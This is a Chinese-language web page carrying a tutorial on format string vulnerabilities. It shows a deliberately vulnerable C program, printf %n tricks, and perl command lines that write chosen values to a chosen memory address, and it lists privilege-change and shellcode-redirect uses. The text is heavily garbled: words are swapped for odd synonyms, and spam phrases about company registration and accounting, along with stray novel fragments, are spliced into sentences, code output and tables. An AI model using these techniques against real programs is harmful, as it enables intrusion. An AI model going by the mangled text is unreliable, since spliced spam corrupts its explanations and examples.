跳至主要內容

[攻防實境外公司節稅例]格局化字符串進犯

內在的事務:
  先容
  什麼是格局化字符串進犯?
  Printf-黌舍健忘教給你的工具
  簡樸的例子
  來格局化吧!(Format Me!)
  X MARKS THE SPOT(X是本文示例步伐中咱們試圖重寫的一個變量)
  怎麼著(So what)?
  
  
  
  擇要
  本文會商格局化字符串縫隙的成因和寄義,並給出現實的例子來詮釋道理。
  
  
  先容
  我了解在某些時辰對付你我和咱們年夜傢而言,上面這種情公司 設立 登記形總會產生。在一個時下賤行的
  晚饭會上,同化在共事們大喊小鳴的聲響裡,你聽到瞭"格局化字符串進犯"這隻言片語。
  "格局化字符串進犯?什麼是格局化字符串進犯?"你心說。因為懼怕在共事們眼前透出
  本身的蒙昧,你決議休止不營業 登記天然的微笑,而屢次頷首以示本身對這玩藝洞若觀火。假如一
  切順遂,年夜傢會共飲雞尾酒,談話仍將繼承,可是沒人明確這畢竟是怎麼歸事。此刻不消
  再懼怕什麼瞭,本文會提供你想了解而又欠好意思問的一切成立 公司 費用內在的事務。
  
  
  
  什麼是格局化字符串進犯? 申請 公司 登記
  格局化字符串縫記帳士 事務所隙同其餘許多安全縫隙一樣是因為步伐員的怠惰形成的。當然,“不,我你正在瀏覽本
  文的時辰,興許有個步伐員正在編寫代碼,他的義務是:打印輸入一個字符串或許把這個
  串拷貝到某緩沖區內。他可以寫出如下的代碼:
  
  printf("%s", str);
  
  可是為瞭勤儉時光和進步效力,並在源申請 公司 登記碼中少輸出6個字節,他會如許寫:
  
  printf(str);成立 公司 費用
  
  為什麼不呢?幹嘛要和過剩的printf參數打交道,幹嘛要花時光分化那些愚昧的格局?
  printf的第一個參數無論怎樣城市輸入的!步伐員在人不知;鬼不覺中關上瞭一個安全縫隙,可
  以讓進犯者把持步伐的履行,這便是不克不及偷懶的因素地點。
  
  為什麼步伐員寫的是過錯的呢?他傳進瞭一個他想要逐字打印的字符串。現實上該字符串
  被printf函數詮釋為一個格局化字符串(format
  string)。函數在此中尋覓特殊的格局字符好比"%d"。假如遇到格局字符,一個變量的參
  數值就從倉庫中掏出。很顯著,進犯者至多可以經由過程打印出倉庫中的這些值來偷望步伐的
  內存。可是有些事變就不那麼顯著瞭,這個簡樸的過錯答應向運轉中步伐的內存裡寫進任
  意值。
  
  
  
  Printf-黌舍健忘教給你的工具
  在闡明怎樣為瞭本身的目標濫用printf之前,咱們應當深刻體會printf提供的特徵。假設
  讀者以前用過printf函數而且了解平凡的格局化特徵,好比怎樣打印整型和記帳 事務所字符串,怎樣
  指定最年夜和最小字符串寬度等。除申請 行號瞭這些平凡的特徵之外,另有一些深邃和不為人知的特
  性。在這些特徵傍邊,上面先容的對咱們比力有效:
  *在格局化字符串中任何地位都可以獲得輸入字符的個數。當在格局化字符串中
  遇到"%n"的時辰,在%n域之前輸入的字符個數會保留到下一個參數裡。例如,為瞭獲取在
  兩個格局化的數字之間空間的偏量公司 行號 登記
  
  int pos, x = 235, y = 93;
  printf("%d %n%d\n", x, &pos, y);
  printf("The offset was %d\n", pos);
  
  * %n格局返歸應當被輸入的字符數公司 營業 登記目,而不是現實輸入的字符數目。當把一個字符串格局
  化輸入到一個定長緩沖區內時,輸入字符串可能被截短。不斟酌截短的影響,%申請 行號n格局表現
  假如不被截短的偏量值(輸入字符數目)。為瞭闡明這一點,上面的代碼會輸入100而不
  是20:
  
  char buf[20];
  int pos, x = 0;
  snprintf(buf, sizeof buf, "%.100d%n", x, &pos);
  printf("position: %d\n", pos);
  
  
  
  簡樸的例子
  除瞭會商抽象和復雜的理論,咱們將會運用一個詳細的例子來闡明咱們適才會商的道理。
  上面這個簡樸的步伐能知足這個要求:
  /*
  * fmtme.c
  * Format a value into a fixed-size buffer
  */
  申請 公司
  #include <stdio.h>
  
  int
  main(int argc, char **argv)
  {
  char buf[100];
  int x;
  if(argc != 2)
  exit(1);
  x = 1;
  snprintf(buf, sizeof buf, argv[1]);
  buf[sizeof buf – 1] = 0;
  printf("buffer (%d): %s\n", strlen(buf), buf);
  printf("x is %d/%#x (@ %p)\n", x, x記帳 事務所, &x);
  return 0;
  }
  
  對這個步伐有幾點闡明:第一,目標很簡樸:將一個經由過程下令行通報營業 登記 申請值格局化輸入到一個
  定長的緩沖區裡。並確保緩沖區的鉅細限定不被衝破。在緩沖區格局化後,把它輸入。除
  瞭把參數格局化,還設置瞭一個整型值隨後輸入。這個變量是隨後咱們進犯的目的。此刻
  值得咱們註意的是這個
  值應當一直為1。
  
  
  本文中全部例子都是在x86 BSD/OS
  4.1機械上實現。假如你到莫桑比克履行義務凌駕20年時光可能會對x86不認識,這是一個
  little-endian機械。這決議在例子中多精度數字的表現方式。在這裡運用的詳細數值會
  由於體系的差別而不同,這些差別表示在不同系統構造、操縱體系、周遭的狀況甚至是下令行長
  度。經由簡樸調劑,這
  些例子可以在其餘x86平臺上事業。經由過程盡力也可以在其餘系統構造的平臺上事業。
  
  
  
  來格局化吧!(Format Me!)
  此刻是咱們戴上黑帽子開端以進犯者方法思索問題的時辰瞭。咱們此刻手頭有一個考試程
  序。了解這個步伐有一個縫隙而且相識步伐員是在哪裡出錯誤的(間接把用戶輸出的下令
  行參數作為snprintf的格局化參數)。咱們還領有關於printf函數深刻的常識如何 申請 公司 行號,了解怎樣
  使用這些常識。讓咱們開端修補咱們的步伐吧。
  從簡樸的開端,咱們經由過程簡樸的參數挪用步伐。望這兒:
  
  % ./fmtme "hello world"
  buffer (11): hello world
  x is 1/0x1 (@ 0x804745c)
  
  此刻這兒還沒有什麼精心的事變產生。步伐把咱們輸出的字符串格局化輸入到緩沖區裡,
  然後打印出它的長度和數值。步如何 申請 公司 行號伐還告知咱們變量x的值是1(以十入制和十六入制分離顯
  示),x的存儲地址是0x804745c。
  接上去咱們試著運用一些格局指令。鄙人面的例子中咱們打印出在格局化字符串之上棧堆
  中的整型數值:
  
  % ./fmtme "%x %x %x %x"
  buffer (15): 1 f31 1031 3133
  x is 1/0x1 (@ 0x804745c) 是因為老夫婦開始做生意的時候算錯了,沒錢多錢找錢少錢,受到傷害啊。
  
  對這個步伐的疾速剖析可以揭示在挪用snpri公司 行號 登記ntf函數時步伐倉庫的計劃:
  
  Address Contents Description
  fp+8 Buffer pointer 4-byte address
  fp+12 Buffer length 4-byte integer
  fp+1營業 登記 申請6 Format string 4-境外 公司 設立byte address
  fp+20 Variable x 4-byte integer
  fp+24 Variable buf 100 characters
  
  (增補:我參考瞭"緩沖區溢出機理剖析"一文,才望明確下面的內在的事務。簡樸先容一下:當
  步伐中產生函數挪用時,盤算機做如下操縱:起首把參數壓進倉庫;然後保留指令存放器
  (IP)中的內公司 行號 申請在的事務做為返歸地址(RET);第三個申請 公司放進倉庫的是基址存放器(FP);然後把以後的
  棧指針(SP)拷成立 公司 費用貝到FP,
  做為新的基地址;最初為當地變量留出必定空間,把SP減往恰當的數值。
  
  ———————————————————————-
  當挪用函數snprintf ()時,倉庫如下:
  低內存端 高內存端
  函數局部變量 sfp ret buf sizeof(buf) argv[1] x和buf
  <- [ ] [ ] [ ] [ ] [ ] [ ] 數據區
  棧頂 棧底
  )
  
  前一個考試運轉成果的四個輸入值(1 f31 1031 313公司 登記3)是在格局化字符串前面倉庫中接
  上去的四個參數:變量x和3個4字節整型(未經初始化)。
  
  此刻該主角進場瞭。作為一個進犯者,咱們要把持貯存在緩沖區中的變量。這些公司 設立值也是傳
  遞給snprintf挪用的參數!讓咱們了解一下狀況這個考試:
  
  % ./fmtme "aaaa %x %x"
  buffer (15)公司 行號 登記: aaaa 1“我不會放過。”“啪”的一聲清脆的耳光打他的臉。 61616161
  x is 1/0x1 (@ 0x804745c)
  
  耶!咱們提供的這四個’a’字符被拷貝到buffer的肇始處,然後被snprintf作為整型參數
  詮釋成0x61616161 (‘a’ is 0x61 in ASCII)。
  
  
  
  X MARKS THE SPOT
  全部事業預備停當瞭,是時辰把咱們的進犯從被動探測轉為自動轉變步伐的狀況瞭。還
  記得變量"x"嗎?讓咱們試著轉變它的值。為瞭實現這個義務,咱們必需跳過snprintf的
  第一個參數,它便是變量x,最初運用%n格局寫進咱們指定的地址。這聽起來比現實情形
  復雜。用一個例子可以詮釋清晰。
  【註意:咱們在這裡運用PERL來履行步伐,這可以讓咱們利便地在下令行參數中
  放置恣意字符】:
  % perl -e ‘system "./fmtme", "\x58\x74\x04\x08%d%n"’
  buffer (5): X1
  x is 5/x05 (@ 0x8047458)
  
  x的值被轉變瞭,可是畢聽說這傢伙是人的組合,所幸再混合也怕死……竟產生瞭什麼?傳給snprintf的參數望起來如下所示:
  
  snprintf(buf, sizeof buf, "\x58\x74\x04\x08%d%n", x, 4 bytes from buf)
  
  起先snprin“攻絲,,,,,,”有人敲門一早,魯漢見玲妃還在睡覺關上了大門開了房間。tf把頭四個字節拷進buf。接上去掃描%d格局並打印出x的值。最初碰到%n指令
  。這個指令從棧堆中掏出下一個值,該值來自buf的頭四個字節。這四個字節是適才填進
  的"\x58\x74\x04\x08",或許詮釋成一個整型0x08047458。Snprintf然後寫進到今朝為止
  輸入的字節數目,5,到
  這個地址(0x08047458)。這個地址便是變量x的地址。這不是偶合。咱們經由過程先前對程
  序的檢討細心抉擇瞭數值0x08047458。在這裡,步伐打印出咱們感愛好的地址是十分有幫
  助的。更廣泛的情形是這個值人們思考的是,秋方應不是找死,讓他去和一個平面劫匪談判更好。要經由過程debugger的匡助來獲取
  
  好棒耶!咱們可以拔取恣意地址(險些是恣意地址;長度和不帶NULL字符的地址一樣長)
  而且可以寫進一個值。可是咱們能寫進一個有效的值嗎?snprintf僅能寫進到今朝為止輸
  出的字符數目。假如咱們想要寫進一個比四年夜的小值,解決方式很簡樸:依照現實需求的
  數值填充格局化字符串
  直到咱們獲得對的的值。可是假如是年夜數值怎麼辦?這裡咱們可以應用一個事實:%n管帳
  數不斟酌截短情形應當輸入的字符個數:
  % perl -e ‘system "./fmtme", "\x54\x74\x04\x08%.500d%n"
  buffer (99): %0000000 … 0000
  x is 504/x1f8 公司 設立(@ 0x8047454)
  
  %n寫進x的值為504,比buf的長度限定99要長多瞭。咱們可以經由過程指定一個年夜的域寬值[1]
  (field
  width)提供恣意年夜的值。可是對付小值怎麼辦呢?咱們可以經由過程多次寫進的組合來結構不!”一聲響亮的咆哮聲打破了主持人。所有的人都看著媽媽過去,他們看到了男人
  恣意數值(甚至是0)。假如咱們每次以一個字節的偏量寫出四個數字,咱們可以結構任
  意整數而不只限於至多四個字節(地址凡是用四字節表現)。為瞭闡明這一點,斟酌上面
  的四次寫操縱:
  Address境外 公司 設立 A A+1 A+2 A+3 A+4 A+5 A+6
  Write to A: 0x11 0x11 0x1境外 公司 設立1 0x11
  Write to A+1: 0x22 0x22 0x22 0x22
  Write to A+2: 0x33 0x33 0x33 0x33
  Write to A+3: 0x44 0x44 0x44 0x44
  Memory: 0x11 0x22 0x33 0x44 0x44 0x44 0x44
  
  在四次寫操縱實現後,整型值0x44332211留在地址為A的內存中。由四次寫進操縱的有用
  字節組成。這個手藝使得咱們更機動地抉擇數值寫進,可是這種方式是出缺點的:賦一個
  值要用四次寫操縱。並且會籠蓋目的地址鄰近的三個字節。它還要入行三次非對齊的寫操
  作,這項手藝並不是通
  用的。
  
  
  
  怎麼著(So what)?
  So what? So what!? SO WHAT!#@?? 你可以向內存中的恣意工商 登記地址寫進恣意值(險些是恣意
  的)!!!你肯定可以想出應用這一點的好方式。讓咱們了解一下狀況
  
  * 籠蓋一個步伐貯存的UID值,以低落和晉陞特權
  * 籠蓋一個履行下令
  * 籠蓋一個返歸地址,將其重定向到包括shell code的緩沖區中
  
  更淺顯地講:你領有這個步伐(隨心所欲)
  
  明天咱們都學到瞭什麼?
  
  * printf 比你以前想象的效能更強盛
  * 抄近路素來都是沒有歸報的(raphaelzl(小飛熊))
  * 一個望起來很渺小的過錯會給進犯者一個無力的杠桿用來毀失你的餬口(raphaelzl
  (小飛熊))
  * 領有足夠的時光、盡力和一個復雜的輸出字符串,你可以把或人的簡樸過錯釀成天下性
  的新聞事務
  
  
  [1] 在某些版本的glibc中printf的會計師 簽證完成出營業 登記 申請缺陷。當指定一個年夜的域寬時,printf會招致
  一個外部緩沖區的下溢出(?underflow)而且招致步伐瓦解。是以,在某些版本的linux
  下不成能運用年夜於幾千的域寬值來進犯步伐。例如:上面的代碼會在有這個缺陷的體系上
  招致segmentation
  fault:
  printf("%.9999d", 1);
  
史提芬周面臨著年夜海喊著:“盡力!!!鬥爭!!!”
[迎接惠臨海角別院之安全手藝版塊!]

打賞

0
點贊
而是受到強烈的刺激,應該沒有失明的危險,你可以放心,病人是我們城市的英雄,領導有指示,我們將盡全力對待他。

會計師 簽證

主帖得到的海角分:0

舉報 |

樓主
| 埋紅包

分類:jordanmall

搶先發佈留言

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

由 Compete Themes 設計的 Author 佈景主題